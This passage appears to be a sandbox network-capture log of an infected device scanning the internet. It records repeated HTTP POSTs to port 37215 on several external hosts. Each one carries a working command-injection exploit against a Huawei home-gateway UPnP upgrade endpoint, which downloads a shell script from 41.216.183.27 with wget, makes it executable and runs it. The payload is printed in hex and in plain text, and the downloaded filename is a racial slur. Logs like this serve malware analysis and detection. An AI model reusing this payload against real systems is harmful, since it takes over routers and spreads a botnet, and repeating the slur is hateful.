Feb 19, 2024 18:36:18.957564116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.987874031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840403080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	41692	31.200.48.48	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.561639071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:13.582310915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:19.725461006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:31.755773067 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:56.840476990 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	32794	94.21.32.32	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:09.970283031 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	36442	94.123.14.174	37215

Timestamp	Bytes transferred	Direction	Data
